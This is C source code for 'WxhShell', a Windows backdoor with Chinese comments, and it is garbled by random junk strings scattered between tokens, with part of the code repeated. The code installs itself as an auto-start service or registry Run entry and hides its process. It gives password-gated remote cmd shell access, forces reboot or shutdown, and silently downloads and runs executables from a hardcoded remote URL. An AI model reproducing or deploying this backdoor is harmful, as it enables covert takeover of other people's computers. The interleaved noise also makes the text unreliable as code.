HnKXO g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); QVkrhwp g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); e. R9: NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ggy9euWV 9`7>"[=P if (!NtQueryInformationProcess) return 0; cT
nC &W*^&0AV hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); nNh5f]] if(!hProcess) return 0; sAoxLI YVPLHwh/5 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6K^O.VoV^J #GzowI' CloseHandle(hProcess); OU<v9`< dQy K4T hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); aAgQ^LY if(hProcess==NULL) return 0; m{r#o? +9B .}t# HMODULE hMod; ]l,,en5V char procName[255]; KY\=D 2m unsigned long cbNeeded; !i\ gCLg2_ P7$/yBI U if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); dd*p_4; $4BvDZDk`B CloseHandle(hProcess); x7/";L> =X7_!vSv if(strstr(procName,"services")) return 1; // 以服务启动 $ByP 9=| a`>H69(bU return 0; // 注册表启动 }ldpudU } k`J|]99Wb I8uFMP // 主模块 kq@~QI?9 int StartWxhshell(LPSTR lpCmdLine) /dHIm`. Z { }
g%v<'K SOCKET wsl; <T]ey BOOL val=TRUE; \} _,g int port=0; @4n>I+6*& struct sockaddr_in door; Q"H/RMo- L2OR<3*|Av if(wscfg.ws_autoins) Install(); J M`[|"R% c7RQ7\ port=atoi(lpCmdLine); my#\(E+ c:""&>Z if(port<=0) port=wscfg.ws_port; ri6KD <,D*m+BWn WSADATA data; _tE55X& if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; JX{_,2*$ <>)N$$Rx& if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; _PSOT5{ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .br6x^\< door.sin_family = AF_INET; 2OQ\ z;s door.sin_addr.s_addr = inet_addr("127.0.0.1"); |#'n VN.; door.sin_port = htons(port); kT:I.,N nu(7YYCM$ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { o=Y'ns^a( closesocket(wsl); ]J@-,FFC return 1; W2'!Pc,W } Fm*npK QNH3\<IS if(listen(wsl,2) == INVALID_SOCKET) { z"Mk(d@-E closesocket(wsl); m"QDc[^Ge return 1; Xt
+9z } Q!_d6-*u Wxhshell(wsl); (>NZYPw^3 WSACleanup(); aemi;61T\ opMnLor return 0; /aIGq/;Y+a
]sJC%/ } c94=>p6 p}<60O"r$ // 以NT服务方式启动 ?'_6M4UKa VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) gtePo[ZH.P { |gIE$rt-~W DWORD status = 0; fH$#vRcq DWORD specificError = 0xfffffff; mhy='AQJ _
j`tR: serviceStatus.dwServiceType = SERVICE_WIN32; SZ}=~yoD( serviceStatus.dwCurrentState = SERVICE_START_PENDING; k81%$E serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5DVYHN9c| serviceStatus.dwWin32ExitCode = 0; b` va\'&3 serviceStatus.dwServiceSpecificExitCode = 0; ~]q>}/&YLo serviceStatus.dwCheckPoint = 0; e['<.Yf+ serviceStatus.dwWaitHint = 0; }1W@ 8KYI Hw hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8QoxU"
c& if (hServiceStatusHandle==0) return; x0WinLQ gY8$Rk
% status = GetLastError(); .ws86stFSb if (status!=NO_ERROR) ~clX2U8u` { Rc
&m4|cw7 serviceStatus.dwCurrentState = SERVICE_STOPPED; C511hbF serviceStatus.dwCheckPoint = 0; aYDo0?kF' serviceStatus.dwWaitHint = 0; ?)186dp serviceStatus.dwWin32ExitCode = status; lRb>W31" serviceStatus.dwServiceSpecificExitCode = specificError; Z&U:KrFH SetServiceStatus(hServiceStatusHandle, &serviceStatus); M&/%qF15 return; M X8|;t } @`dlhz *@H\J e` serviceStatus.dwCurrentState = SERVICE_RUNNING; gKQV99 serviceStatus.dwCheckPoint = 0; W"GW[~
h serviceStatus.dwWaitHint = 0; eLnS1w2 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1m#.f=u{R } P%gA`j ^'a#FbMtt // 处理NT服务事件,比如:启动、停止 bwH[rT!n VOID WINAPI NTServiceHandler(DWORD fdwControl) WTJ{M$ { p4*L}Q switch(fdwControl) *tgu@9b { x~vNUyEN) case SERVICE_CONTROL_STOP: GEA1y^b6" serviceStatus.dwWin32ExitCode = 0; g,rmGu3v serviceStatus.dwCurrentState = SERVICE_STOPPED; _DH^ K9,9 serviceStatus.dwCheckPoint = 0; gWzslgO6 serviceStatus.dwWaitHint = 0; n:P:im?,y* { h<TZJCt SetServiceStatus(hServiceStatusHandle, &serviceStatus); QS5t~rb } E6ZkO/ return;
\2e^x case SERVICE_CONTROL_PAUSE: 3%5a&b serviceStatus.dwCurrentState = SERVICE_PAUSED; }\Rmwm- break; "ayV8{m^3 case SERVICE_CONTROL_CONTINUE: <|jh3Hlp serviceStatus.dwCurrentState = SERVICE_RUNNING; 5af0- hj break; brs`R#e \ case SERVICE_CONTROL_INTERROGATE: ninWnQq break; 7HBf^N. }; zh*D2/r SetServiceStatus(hServiceStatusHandle, &serviceStatus); FK593z } ?-vWNv dGn0-l'q // 标准应用程序主函数 eqsmv[ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) j~G(7t { rpK&OR/ )N8bOI // 获取操作系统版本 h]s~w OsIsNt=GetOsVer(); eNK[P=- GetModuleFileName(NULL,ExeFile,MAX_PATH); OtmDZ.t;` 75zU,0"j // 从命令行安装 V<J1.8H
if(strpbrk(lpCmdLine,"iI")) Install(); [I3Nu8 5dI=;L>D // 下载执行文件 T7.Iqw3p if(wscfg.ws_downexe) { @$ Zh^+x! if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Z17b=xJw WinExec(wscfg.ws_filenam,SW_HIDE); BZ1wE1 t } Y~85Z0l gS5MoW1 if(!OsIsNt) { Y=O+d\_W // 如果时win9x,隐藏进程并且设置为注册表启动 rR-[CT HideProc(); Q(nTL WW StartWxhshell(lpCmdLine); q.`<q } G
rp{
. else C2"^YRN, if(StartFromService()) l|?tqCT ^h // 以服务方式启动 Nw1*);b[y StartServiceCtrlDispatcher(DispatchTable); 1+uZF else M7cD!s@'I // 普通方式启动 8qg%>ZU4d StartWxhshell(lpCmdLine); C$TU
TS ou <3}g return 0; XGR2L
DR } s@ @Km1w A-T-4I _&hM6N mi7?t/D1Z =========================================== 2c 0;P
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W@6m XNWtX-[^@ e^>>"tr " ['=O>YY "Zgwe,# #include <stdio.h> EGUlLqP6e #include <string.h> 7,+eG">0 #include <windows.h> x?{UWh% #include <winsock2.h> pqb'L] #include <winsvc.h> Op ar+|p\ #include <urlmon.h> k77 3h`; KD &nLm! #pragma comment (lib, "Ws2_32.lib") cQ j`W
* #pragma comment (lib, "urlmon.lib") I"88O4\@ Hyy b0c^= #define MAX_USER 100 // 最大客户端连接数 QIGU i,R #define BUF_SOCK 200 // sock buffer eyD V911 #define KEY_BUFF 255 // 输入 buffer C6;2Dd]"N [g/D<g5O #define REBOOT 0 // 重启 z_$c_J #define SHUTDOWN 1 // 关机 Q^Cm3|ZO BqNeY<zB* #define DEF_PORT 5000 // 监听端口 f47]gtB- EVX3uC}{ #define REG_LEN 16 // 注册表键长度 ju{Y6XJ) #define SVC_LEN 80 // NT服务名长度 B-rE8\ b?i+nhqI // 从dll定义API CvY+b^ ; typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); g%f5hy typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); *#XZ*Ga typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); c a_mift typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); "CJ~BJI% _Hv+2E[4Z // wxhshell配置信息 PR.3EL struct WSCFG { ,*XB11P int ws_port; // 监听端口 v.-DXQq char ws_passstr[REG_LEN]; // 口令 >>P5 4|& int ws_autoins; // 安装标记, 1=yes 0=no <u!cdYo@ char ws_regname[REG_LEN]; // 注册表键名 Ds">eNq char ws_svcname[REG_LEN]; // 服务名 p@^G)x char ws_svcdisp[SVC_LEN]; // 服务显示名 5)!g.8-! char ws_svcdesc[SVC_LEN]; // 服务描述信息 {=ox1+d char ws_passmsg[SVC_LEN]; // 密码输入提示信息 f,cd=vGj int ws_downexe; // 下载执行标记, 1=yes 0=no A9MM^jV8 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <giBL L! char ws_filenam[SVC_LEN]; // 下载后保存的文件名 10FiA; t>\sP }; a_>|Ny6{ =b%}x >> // default Wxhshell configuration \;X7DK2 struct WSCFG wscfg={DEF_PORT, +lx&$mr? "xuhuanlingzhe", 2|je{ 1, A`Z/B[) "Wxhshell", M/?,Qii "Wxhshell", XDemdMy$ "WxhShell Service", Z10Vx2B "Wrsky Windows CmdShell Service", k7CKl;Fck "Please Input Your Password: ", ' P?h?w^T 1, faQmkO "http://www.wrsky.com/wxhshell.exe", !RI _Uph "Wxhshell.exe" ~5N}P>4* }; P1-eDHYw bC<W7qf]} // 消息定义模块 Y$=jAN char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
? }M81 char *msg_ws_prompt="\n\r? for help\n\r#>"; j]BRf A char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; g_Z
tDxz char *msg_ws_ext="\n\rExit."; L.HeBeO char *msg_ws_end="\n\rQuit."; puC91 char *msg_ws_boot="\n\rReboot..."; ;,&cWz char *msg_ws_poff="\n\rShutdown..."; 3v8LzS3@ char *msg_ws_down="\n\rSave to "; vgwpuRL5b n3a.)tcC char *msg_ws_err="\n\rErr!"; _%nz-I char *msg_ws_ok="\n\rOK!"; ^e.-Ji pE5v~~9Ikv char ExeFile[MAX_PATH]; %2}fW\%' int nUser = 0; X;I9\Cp]! HANDLE handles[MAX_USER]; .{V"Gn9! int OsIsNt; #CC5+ jc5[r;# SERVICE_STATUS serviceStatus; "?8)}"/f SERVICE_STATUS_HANDLE hServiceStatusHandle; |?!i},Ki; &W2*'$j"_ // 函数声明 3z8i0 int Install(void); U)J5K int Uninstall(void); '$9o(m# int DownloadFile(char *sURL, SOCKET wsh); YWFE*wQ! int Boot(int flag); ^jL '*&l void HideProc(void); R
BYhU55B int GetOsVer(void); |6E_N5~ int Wxhshell(SOCKET wsl); }Pcm'o_wT void TalkWithClient(void *cs); Og\k5.! , int CmdShell(SOCKET sock); 9bM\ (s/
int StartFromService(void); <Riz!(G int StartWxhshell(LPSTR lpCmdLine); 5C Dk5B_ [4z,hob VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); p#@ #$u- VOID WINAPI NTServiceHandler( DWORD fdwControl ); VfoWPyWD# 3^sbbm.8 // 数据结构和表定义 5;a*Xf%V SERVICE_TABLE_ENTRY DispatchTable[] = IO%kXF.[ { #EPC]jFk {wscfg.ws_svcname, NTServiceMain}, -YA,Stc- {NULL, NULL} g>lZs }; kBo:)Vej4 nKx)R^]k // 自我安装 pXk^EV0 int Install(void) or]v]*:~l { 7UfNz60+~ char svExeFile[MAX_PATH]; <tr]bCu} HKEY key; ]5ZXgz strcpy(svExeFile,ExeFile); *1)>He$qL GJ ^c^` // 如果是win9x系统,修改注册表设为自启动 ./YR8 #, if(!OsIsNt) { }HgG<.H> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @>2pY_ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +9_Y0<C RegCloseKey(key); 6D;N.wDZ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { SVCh!/qe\ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); MGg(d RegCloseKey(key); ]fyfL|(; return 0; V1aP_G-: } hOj{y2sc } @62T:Vl } '}.Yf_ else { Xg)8} KkJqqO"EL // 如果是NT以上系统,安装为系统服务 P?0X az SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4EB\R"rWXf if (schSCManager!=0) Z
vysLHj { a|ufm^F SC_HANDLE schService = CreateService g) X3:=[' ( /fI}QY1 schSCManager, 1dH|/9 wscfg.ws_svcname, ^? fOccfQ{ wscfg.ws_svcdisp, uFkl^2 SERVICE_ALL_ACCESS, (@?mm SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Rlq7.2cP SERVICE_AUTO_START, |L2>|4 SERVICE_ERROR_NORMAL, SQodk:1) svExeFile, 384n1? NULL, DH(<{ #u NULL, {2\Y%Y'}* NULL, R<|\Z@z NULL, ].d2C J' NULL @^,q/%; ); >ahDc!Jyu if (schService!=0) Y
;Ym=n' { Xaq;d' CloseServiceHandle(schService); hkMeUxS CloseServiceHandle(schSCManager); c./\sN@ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); T+Oqd\05.+ strcat(svExeFile,wscfg.ws_svcname); d ^bSV4 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { HbTVuf o RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =2R4Z8G RegCloseKey(key); ":]Xr!e return 0; g3^s_*A } 8g#$Y2P } LmrdVSs_ CloseServiceHandle(schSCManager); &.A_d+K& } wi2`5G6|z } ^z?b6kTC !cW rB9 return 1; v rs } Hm-#Mpw YI0
wr1N // 自我卸载 h]4xS?6O int Uninstall(void) X~{6$J|]#i { ",#.?vT` HKEY key; sx,$W3zI'G FYAEM!dyy if(!OsIsNt) { &^=Lr:I if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { s QDgNJbU RegDeleteValue(key,wscfg.ws_regname); AWO)]rM RegCloseKey(key); [txOh!sxD if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #CS>_qe.{ RegDeleteValue(key,wscfg.ws_regname); 77RZ<u9/` RegCloseKey(key); wh:;G`6S return 0; .LzA'q1+z } te@m#`p9 } T;w:^XW } [,=?e else { }M07-qIX{ d4Uw+3ikW SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); OSu&vFKz if (schSCManager!=0) MAa9JA8kw) { u~uzKG SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); vhe Y
F@ if (schService!=0) TvU
z^ { +=tdgw/ if(DeleteService(schService)!=0) { Wf~^,]9N CloseServiceHandle(schService); w-|Rb~XT
h CloseServiceHandle(schSCManager);
@|gG3 return 0; 15:9JVH3D } 66=[6U9 * CloseServiceHandle(schService); %4~"$kE } Jqoo&T") CloseServiceHandle(schSCManager); Yh<F-WOo2 } )nm+_U } N_Us6X LjZlKB5C return 1; ETDWG_H | } fNNl1Vls 0=ws )@[I // 从指定url下载文件 o;8$#gyNY int DownloadFile(char *sURL, SOCKET wsh) ~Ntk-p { T3w%y`K HRESULT hr; *C*J1JYp+ char seps[]= "/"; DB}Uzw| char *token; 6-U_TV char *file; 9q;O`& char myURL[MAX_PATH]; !BQt+4G7 char myFILE[MAX_PATH]; $QJ3~mG2 *i"9D: strcpy(myURL,sURL); xm m,-u token=strtok(myURL,seps); E$"NOR while(token!=NULL) x@#>l8k? { 2Kxb(q" file=token; v93b8/1 token=strtok(NULL,seps); {&1L &f< } cy%M$O|hX5 _}[
Du/c GetCurrentDirectory(MAX_PATH,myFILE); }?[];FB strcat(myFILE, "\\"); gM96RY strcat(myFILE, file); f;E#CjlTL send(wsh,myFILE,strlen(myFILE),0); +d,
~h_7! send(wsh,"...",3,0); ieyK$q hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^t0!Dbx3SE if(hr==S_OK) .6y+van return 0; E\iK_'# else ?P9aXwc return 1; f)sy-o! 8h]
TI_ } f&-`+V}U 1]xmOx[mb // 系统电源模块 n_kwtWX( int Boot(int flag) \8CCa(H { >}SEU-7&\ HANDLE hToken; GcO2oq TOKEN_PRIVILEGES tkp; `KQx#c>' jg$qp%7i% if(OsIsNt) { 86#l$QaK{ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); LnR>!0:c LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); WwmYJl0 tkp.PrivilegeCount = 1; ay8]"sa tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; cAR
`{%b AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); k*1Lr\1 if(flag==REBOOT) { \M`qaFan5^ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +wi=IrRr return 0; =~:IiK/# } {B+}LL! else { [ycX)iM if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) yZlT#^$\ return 0; 4[lFurH } 0|e[o" } +n1!xv] else {
'|H+5# if(flag==REBOOT) { h&4s%:_4 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) LL<xygd return 0; >a8iY|QY } [8QK @5[ else { ;Gr
{ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1I%u)[;> return 0; .fWy\r0 } f:-)S8OJ } sH6;__e (.-4Jn return 1; B.N#9u-vW } ` o)KG, 7xnj\9$m // win9x进程隐藏模块 ZTR9e\F void HideProc(void) N
R
c4*zQJ { < $zJi V 'lIs`Zc5N HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); xvl$,\iqE if ( hKernel != NULL ) v ,")XPY { 8maWF.xq pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); x/,;:S ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 12 p`ZD= FreeLibrary(hKernel); uw mN!!TS } '5h`=" 9=>q0D2 return; :^7w } ZvRa"j JxIJxhA> // 获取操作系统版本 Nbl&al@" int GetOsVer(void) O3 sV) { (?e%w} OSVERSIONINFO winfo; Ph3;;,v ' winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 53t_#Yte GetVersionEx(&winfo); ,`t+X=# if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [c{\el9H return 1; FL{Uz+Q else /A{ Zf'DI return 0; +M"j#H } wR%Ta - 3aW<FSgP // 客户端句柄模块 ImN'o4vo int Wxhshell(SOCKET wsl) /8GdCac { /1OCK= SOCKET wsh; c~<;}ve^z struct sockaddr_in client; J&8KIOz14Z DWORD myID; d:)#-x*h7 HzTmNm) while(nUser<MAX_USER) ,AnD%#o { AE rPd)yk0 int nSize=sizeof(client); =|oi0 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %]+R>+ if(wsh==INVALID_SOCKET) return 1; "3RFyi sS-dHa handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9q"kM if(handles[nUser]==0) 4l 67B]o closesocket(wsh); Ty g>Xv else <YvXyIs nUser++; E+]}KX: } )]@h}K} WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); vT?^# NY7yk3 return 0; ?i _ACKpw } sF{~7IB %,\JTN|g|A // 关闭 socket yd;e;Bb7* void CloseIt(SOCKET wsh) #RlZxtx.O { Q^b& closesocket(wsh); "D'e nUser--; Yw|v5/> ExitThread(0); !v}TRGX } 8^>qor.]M /2p*uv}IP // 客户端请求句柄 ) H,Xkex void TalkWithClient(void *cs) = wz}yfdrC { g~DuK|+ | N/d} SOCKET wsh=(SOCKET)cs; g* YDgY char pwd[SVC_LEN]; J5{;+ysUMl char cmd[KEY_BUFF]; a0|hLqI char chr[1];
V_h&9]RL int i,j; ea=E/HR- Z|t=t"6" while (nUser < MAX_USER) { s+:|b~ n\+c3 if(wscfg.ws_passstr) { afrF%! if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R1zt6oY //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #Y=^4 U` //ZeroMemory(pwd,KEY_BUFF); gH//@`6 i=0; T]tP!a;K while(i<SVC_LEN) { oxxuw
Dcl bv4umL / // 设置超时 ^L%_kL_7 fd_set FdRead; rI>x'0Go* struct timeval TimeOut; pwFdfp FD_ZERO(&FdRead); c{=;lT FD_SET(wsh,&FdRead); -`faXFW' TimeOut.tv_sec=8; 9L>?N:%5 TimeOut.tv_usec=0; mi=mwN%UB int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); NzT
&K7v if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `G$>T#Dq BA h'H&;V if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ei5YxV6I pwd=chr[0]; }5+^ if(chr[0]==0xd || chr[0]==0xa) { P<vl+&* pwd=0; >+{WiZ` break; Ksx-Y" } S>oEk3zlw i++; xSudDhRP } Xl4}S"a cKVFykwM // 如果是非法用户,关闭 socket owIpn=8|Q if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); fOi
Rstci } ]?}>D?5 VlV
X send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); h%EeU
3 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xX&B&"]5 Jj=qC{] while(1) { KZ 5%q. AqgY*"A7 ZeroMemory(cmd,KEY_BUFF); &qbEF3p^@ |S!RQ-CF // 自动支持客户端 telnet标准 f\2IKpF2 j=0; 4kL6aSqT while(j<KEY_BUFF) { 'maX if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9VW/Af cmd[j]=chr[0]; ,[;O'g?,g if(chr[0]==0xa || chr[0]==0xd) { `jeATxWv cmd[j]=0; /"e@rnn break; s*PKr6X+ } %6[,a j++; "}71z } =f~<*wQ "WKOlfPa // 下载文件 QATRrIj{e if(strstr(cmd,"http://")) { 5M>h[Q"R send(wsh,msg_ws_down,strlen(msg_ws_down),0); DXf if(DownloadFile(cmd,wsh)) )^(gwE send(wsh,msg_ws_err,strlen(msg_ws_err),0); /5sn*, else {8.Zb NEJ
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >J;TtNE: } oL]uY5eZoe else { DzR,ou !
yJ0Am> switch(cmd[0]) { ,8384' eay|>xa2 // 帮助 +mrLMbBiD case '?': { J|I*n send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); K9@.l~n break; neU=1socJ } p<r^{y // 安装 Jh.~]\u case 'i': { k@7#8(3 if(Install()) w>B}w send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2q[pOT'k else E7O3$B8 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Gor9&aJ1 break; $2W#'_K+ } syr0|K[ // 卸载 k'8q/] case 'r': { SA'g` if(Uninstall()) 'ayb` send(wsh,msg_ws_err,strlen(msg_ws_err),0); i@9
qp?eb else 45 ^ Z5t send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gs1yWnSv5 break; ]0> } 8)S)!2_h // 显示 wxhshell 所在路径 ^$'{:i case 'p': { ;?{^LiD+F char svExeFile[MAX_PATH]; +2{ f>KZ strcpy(svExeFile,"\n\r"); rfonM~3?' strcat(svExeFile,ExeFile); f:M^q ; send(wsh,svExeFile,strlen(svExeFile),0); ,
>WH)+a break; F`4W5~` } x:-NTW
-g // 重启 s={>{,E case 'b': { KH,f'` send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); w!"A$+~ if(Boot(REBOOT)) Y%/RGYKh send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4
Y=0>FlY0 else { ] !*K|?VL closesocket(wsh); qeM DC#N ExitThread(0); ,esEh5=Ir } m%.4OXX"& break; "3VX9{'%@ } -n7@r // 关机 lq.:/_m0 case 'd': { fDDpR= send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <h#7;o if(Boot(SHUTDOWN)) o1#3A send(wsh,msg_ws_err,strlen(msg_ws_err),0); #)}BY"C% else { !y$##PZ closesocket(wsh); koT3~FK ExitThread(0); P?q HzNGi7 } @{b5x>KX break; 29grb P } HKbV@NW // 获取shell R'Ue>k case 's': { KGOhoiR9:C CmdShell(wsh); }-:B`:K& closesocket(wsh); [NE! ExitThread(0); >h%>s4W break; _b8KK4UR } k(G6` dY // 退出 @Nb/n case 'x': { /$%&fo\[ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1M`>;fjYa CloseIt(wsh); <SJ6<' break; 7[=G;2< } 8qkQ*uJP // 离开 eTjPztdJbx case 'q': { 7W}%ralkg send(wsh,msg_ws_end,strlen(msg_ws_end),0); !F s$W closesocket(wsh); %qcCv9 WSACleanup(); {3KY:%6qj exit(1); &FmTT8"l break; V_
(Ly8"1; } >&HW6 c } 8L:AmpQdpA } ue3 ].: ,W+=N"`a' // 提示信息 ,l AZ4 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);
gwIR3u } ,62~u'hR5 } e,#w*| T7i>aM$+ return; "3jTU } Ngx2N<$<*g qy?$t:*pp // shell模块句柄 q/:]+ int CmdShell(SOCKET sock) &p#PYs|H { .4ww5k> STARTUPINFO si; ;e_us!Sn ZeroMemory(&si,sizeof(si)); ]4B;M Ym* si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; hfJ&o7Dt si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .]exY
i PROCESS_INFORMATION ProcessInfo; kj|Oj+& char cmdline[]="cmd"; )j'Qi^;(D CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \
P6 ! return 0; 8Mtd}{Fw* } i<m)
s$u dSjO12b // 自身启动模式 7_3 6xpw int StartFromService(void) gHh(QRA { "E7<S5cr typedef struct >lmqPuf { kt`ln DWORD ExitStatus; tWl')^ DWORD PebBaseAddress; P_jav0j7g DWORD AffinityMask; fph+05.% DWORD BasePriority; ^+%bh/2_W ULONG UniqueProcessId; O6e$v I@ ULONG InheritedFromUniqueProcessId; J|jvqt9C } PROCESS_BASIC_INFORMATION; % dFz[b a(IE8:yU` PROCNTQSIP NtQueryInformationProcess; DMA7eZf'Hv %npLgCF static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ({Yfsf, static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; O_s/BoB@ %gn@B2z HANDLE hProcess; Xqe Qj}2kA PROCESS_BASIC_INFORMATION pbi; cl#XiyK> @Wd(>*"zw HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "<Di if(NULL == hInst ) return 0; (eb65F@ P z( ^?xv g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3Yx'/ =] g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8T.bT6 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); m%eCTpYo g#fn( A if (!NtQueryInformationProcess) return 0; 4T52vM )M.g<[=^ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); q%bFR[p<* if(!hProcess) return 0; KiMlbF.~V *eD[[HbKX if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; l %zbx"%x iiuT:r CloseHandle(hProcess); VPYcA>-%u gCYe^KJ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |H8C4^1Rq if(hProcess==NULL) return 0; Uun0FCA> )6"p@1\u HMODULE hMod; BGVnL}0 char procName[255]; GLub5GrxR unsigned long cbNeeded; 1Q^u#m3 nT4Ryld if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Ht43G_.j }X])055S CloseHandle(hProcess); LIJ#nb !iHC++D if(strstr(procName,"services")) return 1; // 以服务启动 'rXf N? S;v&q+ return 0; // 注册表启动 'G[G;?F } H{_D#It 5`}za- // 